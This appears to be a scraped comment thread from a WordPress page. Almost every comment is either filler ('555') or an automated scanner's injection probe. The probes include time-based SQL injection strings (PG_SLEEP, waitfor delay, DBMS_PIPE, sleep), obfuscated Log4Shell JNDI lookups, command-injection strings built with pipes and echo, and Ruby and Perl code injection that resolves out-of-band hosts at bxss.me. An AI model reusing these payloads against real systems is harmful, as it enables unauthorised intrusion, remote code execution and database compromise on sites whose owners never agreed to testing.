1

52 回复

1. 555

   回复

   1. 555

      回复

   2. 555

      回复

   3. 555

      回复

   4. -1 OR 2+558-558-1=0+0+0+1

      回复

   5. 💡'”><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitgkkyclwude2cf65${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

      回复

   6. |echo rasncp$()\ xhckqc\nz^xyu||a #’ |echo rasncp$()\ xhckqc\nz^xyu||a #|” |echo rasncp$()\ xhckqc\nz^xyu||a #

      回复

   7. wp-comments-post.php

      回复

   8. ‘+’A’.concat(70-3).concat(22*4).concat(115).concat(69).concat(108).concat(86)+(require’socket’
      Socket.gethostbyname(‘hitrs’+’ludeqtdn30415.bxss.me.’)[3].to_s)+’

      回复

   9. http://bxss.me/t/xss.html?%00

      回复

2. 555

   回复

   1. 555

      回复

   2. 555

      回复

   3. -1 OR 2+114-114-1=0+0+0+1

      回复

   4. ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.692-56674.692.f83f4${::-.}1${::-.}bxss.me}}

      回复

   5. |echo cjaisd$()\ dajcri\nz^xyu||a #’ |echo cjaisd$()\ dajcri\nz^xyu||a #|” |echo cjaisd$()\ dajcri\nz^xyu||a #

      回复

   6. 555

      回复

3. 555

   回复

   1. 555

      回复

   2. ./555

      回复

   3. 555

      回复

   4. |echo jbzclb$()\ iexrzc\nz^xyu||a #’ |echo jbzclb$()\ iexrzc\nz^xyu||a #|” |echo jbzclb$()\ iexrzc\nz^xyu||a #

      回复

   5. TdYsM1B2′)) OR 158=(SELECT 158 FROM PG_SLEEP(15))–

      回复

   6. wp-comments-post.php

      回复

4. 0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

   回复

5. 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

   回复

6. 555

   回复

7. 555

   回复

8. -1); waitfor delay ‘0:0:15’ —

   回复

9. -1 OR 3+237-237-1=0+0+0+1

   回复

10. 555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

    回复

11. 555

    回复

12. 555

    回复

13. 555

    回复

14. ‘.gethostbyname(lc(‘hitsu’.’fxtnbbxu11168.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(102).chr(69).chr(112).chr(69).’

    回复

15. 555

    回复

16. ./555

    回复

17. 555

    回复

18. 555

    回复

19. 555

    回复

20. 555

    回复

21. 555

    回复

22. 555

    回复

23. -1)) OR 614=(SELECT 614 FROM PG_SLEEP(15))–

    回复

24. 555

    回复

25. ‘”

    回复

26. 555

    回复